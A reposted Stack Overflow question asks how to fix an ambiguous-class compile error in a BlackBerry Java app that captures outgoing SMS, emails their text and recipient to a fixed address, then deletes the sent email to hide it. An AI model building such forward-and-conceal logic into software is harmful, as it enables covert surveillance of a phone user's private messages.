Error emailing outgoing sms

Posted by BirthOfTragedy on Stack Overflow See other posts from Stack Overflow or by BirthOfTragedy
Published on 2012-09-14T15:22:25Z Indexed on 2012/09/16 3:38 UTC
Read the original article Hit count: 151

Filed under:
|
|

Is there anyway to listen for an outbound sms without having to import javax.wireless.messaging?

I'm trying to write an app that listens for an sms sent from the device then emails the message of the sms, but I get the error:

reference to Message is ambiguous, both class javax.wireless.messaging.Message in javax.wireless.messaging and class net.rim.blackberry.api.mail.Message in net.rim.blackberry.api.mail match

I need to import net.rim.blackberry.api.mail.Message in order to sent an email.

Is there a way to get around this as it seems that the two packages are clashing.

My code:

public void notifyIncomingMessage(MessageConnection messageconnection) {}


public void notifyOutgoingMessage(javax.wireless.messaging.Message message) {

    try {
        String address = message.getAddress();

        String msg = null;

        if ( message instanceof TextMessage ) {
            TextMessage tm = (TextMessage)message;
            msg = tm.getPayloadText();

        } else if (message instanceof BinaryMessage) {
            StringBuffer buf = new StringBuffer();
            byte[] data = ((BinaryMessage) message).getPayloadData();
            msg = new String(data, "UTF-8");

            Store store = Session.getDefaultInstance().getStore();

            Folder[] folders = store.list(Folder.SENT);
            Folder sentfolder = folders[0];

            Message in = new Message(sentfolder);
            Address recipients[] = new Address[1];

            recipients[0]= new Address("[email protected]", "user");

            in.addRecipients(Message.RecipientType.TO, recipients);
            in.setSubject("Outgoing sms");
            in.setContent("You have just sent an sms to: " + address + "\n" + "Message: " + msg);

            in.setPriority(Message.Priority.HIGH);

            Transport.send(in);

            in.setFlag(Message.Flag.OPENED, true);
            Folder folder = in.getFolder();
            folder.deleteMessage(in);               
        }
    } catch (IOException me) {
        System.out.println(me);
    }
}
} 

© Stack Overflow or respective owner

Related posts about email

Related posts about blackberry